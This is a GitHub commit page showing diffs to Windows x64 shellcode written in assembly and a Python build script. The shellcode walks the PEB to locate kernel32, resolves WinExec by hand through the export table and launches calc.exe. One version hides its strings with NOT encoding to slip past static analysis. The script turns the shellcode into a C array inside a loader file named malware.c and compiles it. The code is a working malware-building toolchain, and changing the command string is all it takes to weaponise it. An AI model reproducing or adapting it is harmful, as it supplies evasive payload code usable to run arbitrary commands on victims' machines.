Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Appearance settings

Commit 7a2b035

Browse filesBrowse files
committed
debugging
1 parent b4d6eea commit 7a2b035
Copy full SHA for 7a2b035

File tree

3 files changed

+153
-119
lines changed
Filter options

3 files changed

+153
-119
lines changed

‎shellcode.asm

Copy file name to clipboardExpand all lines: shellcode.asm
+18-10Lines changed: 18 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,10 @@
11
[bits 64]
22

33
;; TODO: DEBUG this shiiiit (x64dbg)
4+
section .text:
5+
global _start
46

7+
_start:
58
; Access PEB structure
69
xor rbx, rbx
710
mov rbx, gs:[0x60] ; RBX = address of PEB struct
@@ -18,36 +21,37 @@ mov rbx, [rbx+0x20] ; RBX = PEB_LDR_DATA.DllBase (address of kernel32.dll)
1821
mov r8, rbx ; R8 = RBX (address of kernel32.dll)
1922

2023
; Get VA address of ExportTable (kernel32.dll)
21-
mov ebx, [rbx+0x3c] ; RBX = IMAGE_DOS_HEADER.e_lfanew (PE hdrs offset)
22-
add rbx, r8 ; RBX = &kernel32.dll + PeHeaders offset = &PeHeaders
24+
mov ebx, [r8+0x3c] ; RBX = kernel32.IMAGE_DOS_HEADER.e_lfanew (PE hdrs offset)
25+
add rbx, r8 ; RBX = PeHeaders offset + &kernel32.dll = &PeHeaders
2326

2427
xor rcx, rcx
25-
add cx, 0x88 ; RCX = 0x88 (offset of ExportTable RVA)
26-
add rbx, [rbx+rcx] ; RBX = &PeHeaders + offset of ExportTable RVA = ExportTable RVA
28+
add cl, 0x0088 ; RCX = 0x88 (offset ExportTable RVA)
29+
mov ebx, [rbx+rcx] ; RBX = &PeHeaders + offset ExportTable RVA = ExportTable RVA
2730
add rbx, r8 ; RBX = ExportTable RVA + &kernel32.dll = &ExportTable
2831
mov r9, rbx ; R9 = &ExportTable
2932

3033
; Get VA address of ExportTable.AddressOfFunctions
3134
xor r10, r10
32-
mov r10, [r9+0x1c] ; R10 = ExportTable.AddressOfFunctions RVA
35+
mov r10d, [r9+0x1c] ; R10 = ExportTable.AddressOfFunctions RVA
3336
add r10, r8 ; R10 = &kernel32.dll + RVA = &AddressOfFunctions
3437

3538
; Get VA address of ExportTable.AddressOfNames
3639
xor r11, r11
37-
mov r11, [r9+0x20] ; R11 = ExportTable.AddressOfNames RVA
40+
mov r11d, [r9+0x20] ; R11 = ExportTable.AddressOfNames RVA
3841
add r11, r8 ; R11 = &kernel32.dll + RVA = &AddressOfNames
3942

4043
; Get VA address of ExportTable.AddressOfNameOrdinals
4144
xor r12, r12
42-
mov r12, [r9+0x24] ; R12 = ExportTable.AddressOfNameOrdinals RVA
45+
mov r12d, [r9+0x24] ; R12 = ExportTable.AddressOfNameOrdinals RVA
4346
add r12, r8 ; R12 = &kernel32.dll + RVA = &AddressOfNameOrdinals
4447

4548
; Get address of WinExec function exported from kernel32.dll
4649
xor rcx, rcx
4750
add cl, 0x7 ; RCX = function name length ("WinExec" == 7)
4851

4952
xor rax, rax
50-
mov rax, 0x636578456E695700 ; RAX = function name = "cexEniW" (WinExec) + 0x00
53+
push ax ; STACK + null terminator (2)
54+
mov rax, 0x00636578456E6957 ; RAX = function name = "cexEniW" (WinExec) + 0x00
5155
push rax ; STACK + function name address (8)
5256
mov rsi, rsp ; RSI = &function_name
5357

@@ -64,8 +68,8 @@ xor rax, rax
6468
xor rcx, rcx
6569
xor rdx, rdx
6670

67-
mov rax, 0x6578652e636c6163 ; RAX = "exe.clac" (command string: calc.exe)
6871
push ax ; STACK + null terminator (2)
72+
mov rax, 0x6578652e636c6163 ; RAX = "exe.clac" (command string: calc.exe)
6973
push rax ; STACK + command string (8)
7074
mov rcx, rsp ; RCX = LPCSTR lpCmdLine
7175

@@ -100,10 +104,14 @@ get_winapi_func:
100104
mov edi, [r11+rax*4] ; RDI = function name RVA
101105
add rdi, r8 ; RDI = &FunctionName = function name RVA + &kernel32.dll
102106
repe cmpsb ; Compare byte at *RDI (array item str) and *RSI (param function name)
107+
; FIXME: Item NOT FOUND: RDI, RSI
108+
; Something's wrong with stack placing of the function name string.
109+
; Why is there "shr rax, 0x8" originally? WTF?
110+
; R11 = correct
103111

104112
je resolve_func_addr ; Jump if exported function name == param function name
105113

106-
inc rax ; RAX = RAX + 1
114+
inc rax ; RAX = counter + 1
107115
jmp short loop
108116

109117
resolve_func_addr:
+97-91Lines changed: 97 additions & 91 deletions
Original file line numberDiff line numberDiff line change
@@ -1,92 +1,98 @@
1-
xor rdi, rdi ; RDI = 0x0
2-
mul rdi ; RAX&RDX =0x0
3-
mov rbx, gs:[rax+0x60] ; RBX = Address_of_PEB
4-
mov rbx, [rbx+0x18] ; RBX = Address_of_LDR
5-
mov rbx, [rbx+0x20] ; RBX = 1st entry in InitOrderModuleList / ntdll.dll
6-
mov rbx, [rbx] ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dll
7-
mov rbx, [rbx] ; RBX = 3rd entry in InitOrderModuleList / kernel32.dll
8-
mov rbx, [rbx+0x20] ; RBX = &kernel32.dll ( Base Address of kernel32.dll)
9-
mov r8, rbx ; RBX & R8 = &kernel32.dll
10-
11-
; Get kernel32.dll ExportTable Address
12-
mov ebx, [rbx+0x3C] ; RBX = Offset NewEXEHeader
13-
add rbx, r8 ; RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeader
14-
xor rcx, rcx ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add
15-
add cx, 0x88ff
16-
shr rcx, 0x8 ; RCX = 0x88ff --> 0x88
17-
mov edx, [rbx+rcx] ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable
18-
add rdx, r8 ; RDX = &kernel32.dll + RVA ExportTable = &ExportTable
19-
20-
; Get &AddressTable from Kernel32.dll ExportTable
21-
xor r10, r10
22-
mov r10d, [rdx+0x1C] ; RDI = RVA AddressTable
23-
add r10, r8 ; R10 = &AddressTable
24-
25-
; Get &NamePointerTable from Kernel32.dll ExportTable
26-
xor r11, r11
27-
mov r11d, [rdx+0x20] ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable
28-
add r11, r8 ; R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable)
29-
30-
; Get &OrdinalTable from Kernel32.dll ExportTable
31-
xor r12, r12
32-
mov r12d, [rdx+0x24] ; R12 = RVA OrdinalTable
33-
add r12, r8 ; R12 = &OrdinalTable
34-
35-
jmp short apis
36-
37-
; Get the address of the API from the Kernel32.dll ExportTable
38-
getapiaddr:
39-
pop rbx ; save the return address for ret 2 caller after API address is found
40-
pop rcx ; Get the string length counter from stack
41-
xor rax, rax ; Setup Counter for resolving the API Address after finding the name string
42-
mov rdx, rsp ; RDX = Address of API Name String to match on the Stack
43-
push rcx ; push the string length counter to stack
44-
loop:
45-
mov rcx, [rsp] ; reset the string length counter from the stack
46-
xor rdi,rdi ; Clear RDI for setting up string name retrieval
47-
mov edi, [r11+rax*4] ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)]
48-
add rdi, r8 ; RDI = &NameString = RVA NameString + &kernel32.dll
49-
mov rsi, rdx ; RSI = Address of API Name String to match on the Stack (reset to start of string)
50-
repe cmpsb ; Compare strings at RDI & RSI
51-
je resolveaddr ; If match then we found the API string. Now we need to find the Address of the API
52-
incloop:
53-
inc rax
54-
jmp short loop
55-
56-
; Find the address of GetProcAddress by using the last value of the Counter
57-
resolveaddr:
58-
pop rcx ; remove string length counter from top of stack
59-
mov ax, [r12+rax*2] ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32.<API>
60-
mov eax, [r10+rax*4] ; RAX = RVA API = [&AddressTable + API OrdinalNumber]
61-
add rax, r8 ; RAX = Kernel32.<API> = RVA kernel32.<API> + kernel32.dll BaseAddress
62-
push rbx ; place the return address from the api string call back on the top of the stack
63-
ret ; return to API caller
64-
65-
apis: ; API Names to resolve addresses
66-
; WinExec | String length : 7
67-
xor rcx, rcx
68-
add cl, 0x7 ; String length for compare string
69-
mov rax, 0x9C9A87BA9196A80F ; not 0x9C9A87BA9196A80F = 0xF0,WinExec
70-
not rax ;mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysis
71-
shr rax, 0x8 ; xEcoll,0xFFFF --> 0x0000,xEcoll
72-
push rax
73-
push rcx ; push the string length counter to stack
74-
call getapiaddr ; Get the address of the API from Kernel32.dll ExportTable
75-
mov r14, rax ; R14 = Kernel32.WinExec Address
76-
77-
; UINT WinExec(
78-
; LPCSTR lpCmdLine, => RCX = "calc.exe",0x0
79-
; UINT uCmdShow => RDX = 0x1 = SW_SHOWNORMAL
80-
; );
81-
xor rcx, rcx
82-
mul rcx ; RAX & RDX & RCX = 0x0
83-
; calc.exe | String length : 8
84-
push rax ; Null terminate string on stack
85-
mov rax, 0x9A879AD19C939E9C ; not 0x9A879AD19C939E9C = "calc.exe"
86-
not rax
87-
;mov rax, 0x6578652e636c6163 ; exe.clac : 6578652e636c6163
88-
push rax ; RSP = "calc.exe",0x0
89-
mov rcx, rsp ; RCX = "calc.exe",0x0
90-
inc rdx ; RDX = 0x1 = SW_SHOWNORMAL
91-
sub rsp, 0x20 ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA)
1+
[bits 64]
2+
3+
section .text:
4+
global _start
5+
6+
_start:
7+
xor rdi, rdi ; RDI = 0x0
8+
mul rdi ; RAX&RDX =0x0
9+
mov rbx, gs:[rax+0x60] ; RBX = Address_of_PEB
10+
mov rbx, [rbx+0x18] ; RBX = Address_of_LDR
11+
mov rbx, [rbx+0x20] ; RBX = 1st entry in InitOrderModuleList / ntdll.dll
12+
mov rbx, [rbx] ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dll
13+
mov rbx, [rbx] ; RBX = 3rd entry in InitOrderModuleList / kernel32.dll
14+
mov rbx, [rbx+0x20] ; RBX = &kernel32.dll ( Base Address of kernel32.dll)
15+
mov r8, rbx ; RBX & R8 = &kernel32.dll
16+
17+
; Get kernel32.dll ExportTable Address
18+
mov ebx, [rbx+0x3C] ; RBX = Offset NewEXEHeader
19+
add rbx, r8 ; RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeader
20+
xor rcx, rcx ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add
21+
add cx, 0x88ff
22+
shr rcx, 0x8 ; RCX = 0x88ff --> 0x88
23+
mov edx, [rbx+rcx] ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable
24+
add rdx, r8 ; RDX = &kernel32.dll + RVA ExportTable = &ExportTable
25+
26+
; Get &AddressTable from Kernel32.dll ExportTable
27+
xor r10, r10
28+
mov r10d, [rdx+0x1C] ; RDI = RVA AddressTable
29+
add r10, r8 ; R10 = &AddressTable
30+
31+
; Get &NamePointerTable from Kernel32.dll ExportTable
32+
xor r11, r11
33+
mov r11d, [rdx+0x20] ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable
34+
add r11, r8 ; R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable)
35+
36+
; Get &OrdinalTable from Kernel32.dll ExportTable
37+
xor r12, r12
38+
mov r12d, [rdx+0x24] ; R12 = RVA OrdinalTable
39+
add r12, r8 ; R12 = &OrdinalTable
40+
41+
jmp short apis
42+
43+
; Get the address of the API from the Kernel32.dll ExportTable
44+
getapiaddr:
45+
pop rbx ; save the return address for ret 2 caller after API address is found
46+
pop rcx ; Get the string length counter from stack
47+
xor rax, rax ; Setup Counter for resolving the API Address after finding the name string
48+
mov rdx, rsp ; RDX = Address of API Name String to match on the Stack
49+
push rcx ; push the string length counter to stack
50+
loop:
51+
mov rcx, [rsp] ; reset the string length counter from the stack
52+
xor rdi,rdi ; Clear RDI for setting up string name retrieval
53+
mov edi, [r11+rax*4] ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)]
54+
add rdi, r8 ; RDI = &NameString = RVA NameString + &kernel32.dll
55+
mov rsi, rdx ; RSI = Address of API Name String to match on the Stack (reset to start of string)
56+
repe cmpsb ; Compare strings at RDI & RSI
57+
je resolveaddr ; If match then we found the API string. Now we need to find the Address of the API
58+
incloop:
59+
inc rax
60+
jmp short loop
61+
62+
; Find the address of GetProcAddress by using the last value of the Counter
63+
resolveaddr:
64+
pop rcx ; remove string length counter from top of stack
65+
mov ax, [r12+rax*2] ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32.<API>
66+
mov eax, [r10+rax*4] ; RAX = RVA API = [&AddressTable + API OrdinalNumber]
67+
add rax, r8 ; RAX = Kernel32.<API> = RVA kernel32.<API> + kernel32.dll BaseAddress
68+
push rbx ; place the return address from the api string call back on the top of the stack
69+
ret ; return to API caller
70+
71+
apis: ; API Names to resolve addresses
72+
; WinExec | String length : 7
73+
xor rcx, rcx
74+
add cl, 0x7 ; String length for compare string
75+
mov rax, 0x9C9A87BA9196A80F ; not 0x9C9A87BA9196A80F = 0xF0,WinExec
76+
not rax ;mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysis
77+
shr rax, 0x8 ; xEcoll,0xFFFF --> 0x0000,xEcoll
78+
push rax
79+
push rcx ; push the string length counter to stack
80+
call getapiaddr ; Get the address of the API from Kernel32.dll ExportTable
81+
mov r14, rax ; R14 = Kernel32.WinExec Address
82+
83+
; UINT WinExec(
84+
; LPCSTR lpCmdLine, => RCX = "calc.exe",0x0
85+
; UINT uCmdShow => RDX = 0x1 = SW_SHOWNORMAL
86+
; );
87+
xor rcx, rcx
88+
mul rcx ; RAX & RDX & RCX = 0x0
89+
; calc.exe | String length : 8
90+
push rax ; Null terminate string on stack
91+
mov rax, 0x9A879AD19C939E9C ; not 0x9A879AD19C939E9C = "calc.exe"
92+
not rax
93+
;mov rax, 0x6578652e636c6163 ; exe.clac : 6578652e636c6163
94+
push rax ; RSP = "calc.exe",0x0
95+
mov rcx, rsp ; RCX = "calc.exe",0x0
96+
inc rdx ; RDX = 0x1 = SW_SHOWNORMAL
97+
sub rsp, 0x20 ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA)
9298
call r14 ; Call WinExec("calc.exe", SW_HIDE)

‎shellcoder.py

Copy file name to clipboardExpand all lines: shellcoder.py
+38-18Lines changed: 38 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -16,11 +16,6 @@
1616
# - NASM (Netwide Assembler)
1717
# - Visual Studio 2022
1818

19-
"""
20-
[ ] Sprawdz czy zwykly shellcode dziala
21-
[ ] Moze NASM trzeba jakos inaczej kompilowac / pobierac?
22-
"""
23-
2419
import subprocess
2520
import os
2621
import sys
@@ -30,7 +25,7 @@
3025

3126
# Utility files
3227
SHELLCODE_INPUT_FILE = "shellcode.asm"
33-
SHELLCODE_OUTPUT_FILE = f"{OUT_DIR}\\shellcode.bin"
28+
SHELLCODE_OUTPUT_NAME = f"{OUT_DIR}\\shellcode"
3429
LOADER_INPUT_FILE = "loader.c"
3530
LOADER_OUTPUT_FILE = f"{OUT_DIR}\\malware.c"
3631

@@ -43,10 +38,30 @@
4338
# Batch script with Visual Studio compiler environment variables
4439
MSVC_BATCH_SCRIPT = "C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\VC\\Auxiliary\\Build\\vcvars64.bat"
4540

41+
global ENVIRON
42+
43+
44+
def get_msvc_console_environs() -> dict[str, str]:
45+
cmd = f'"{MSVC_BATCH_SCRIPT}" && set'
46+
executable = "C:\\Windows\\System32\\cmd.exe"
47+
process = subprocess.run(cmd, text=True, check=True, capture_output=True, shell=True, executable=executable)
48+
49+
if process.returncode != 0:
50+
print(f"[!] MSVC Developer Console error: {process.stderr}")
51+
sys.exit(-1)
52+
53+
envs = {}
54+
for line in process.stdout.splitlines():
55+
if '=' in line:
56+
key, value = line.split('=', 1)
57+
envs[key] = value
58+
59+
return envs
60+
4661

4762
def is_cmd_available(cmd: str):
4863
try:
49-
subprocess.call(cmd, text=True)
64+
subprocess.call(cmd, text=True, stderr=subprocess.PIPE)
5065
except FileNotFoundError:
5166
return False
5267

@@ -57,27 +72,35 @@ def assert_cmd(cmd: str):
5772
if (is_cmd_available(cmd)):
5873
return
5974

60-
print(f"[!] command not found: {cmd}", file=sys.stderr)
75+
print(f"[!] Command not found: {cmd}", file=sys.stderr)
6176
sys.exit(-1)
6277

78+
def cmd_exec(cmd: str):
79+
subprocess.run(cmd, text=True, check=True, shell=True, env=ENVIRON)
6380

6481
if __name__ == "__main__":
6582
# Check if NASM is available
6683
assert_cmd("nasm")
84+
print("[*] Fetching VS Developer Console envs...")
85+
ENVIRON = get_msvc_console_environs()
6786

6887
# Prepare output directory
6988
os.makedirs(OUT_DIR, exist_ok=True)
7089

71-
# Compile Assembly
72-
subprocess.run(
73-
["nasm", "-f", "bin", SHELLCODE_INPUT_FILE, "-o", SHELLCODE_OUTPUT_FILE], check=True
74-
)
90+
# Compile Assembly (exe)
91+
SHELLCODE_OBJ_OUTPUT = f"{SHELLCODE_OUTPUT_NAME}.obj"
92+
cmd_exec(f"nasm -f win64 {SHELLCODE_INPUT_FILE} -o {SHELLCODE_OBJ_OUTPUT}")
93+
print(f"[+] NASM: {SHELLCODE_INPUT_FILE} -> {SHELLCODE_OUTPUT_NAME}.exe")
94+
cmd_exec(f'cd "{OUT_DIR}" && link "..\\{SHELLCODE_OBJ_OUTPUT}" /out:shellcode.exe /entry:_start /subsystem:console')
7595

76-
print(f"[+] NASM: {SHELLCODE_INPUT_FILE} -> {SHELLCODE_OUTPUT_FILE}")
96+
# Compile Assembly (bin)
97+
SHELLCODE_BIN_OUTPUT = f"{SHELLCODE_OUTPUT_NAME}.bin"
98+
cmd_exec(f"nasm -f bin {SHELLCODE_INPUT_FILE} -o {SHELLCODE_BIN_OUTPUT}")
99+
print(f"[+] NASM: {SHELLCODE_INPUT_FILE} -> {SHELLCODE_BIN_OUTPUT}")
77100

78101
# Prepare C array with shellcode payload
79102
payload = ""
80-
with open(SHELLCODE_OUTPUT_FILE, "rb") as f:
103+
with open(SHELLCODE_BIN_OUTPUT, "rb") as f:
81104
bytes = bytearray(f.read())
82105

83106
size = len(bytes)
@@ -100,8 +123,5 @@ def assert_cmd(cmd: str):
100123

101124
# Compile final binary
102125
print(f"[*] MSVC: Compilation of {LOADER_OUTPUT_FILE} \n")
103-
104-
cmd = f'"{MSVC_BATCH_SCRIPT}" && cd "{OUT_DIR}" && cl.exe "../{LOADER_OUTPUT_FILE}"'
105-
proc = subprocess.run(cmd, check=True, text=True)
106-
126+
cmd_exec(f'cd "{OUT_DIR}" && cl.exe "../{LOADER_OUTPUT_FILE}"')
107127
print(f"\n[+] Output binary ({BINARY_OUTPUT_FILE}) is ready to be executed!")

0 commit comments

Comments
0 (0)
Morty Proxy This is a proxified and sanitized view of the page, visit original site.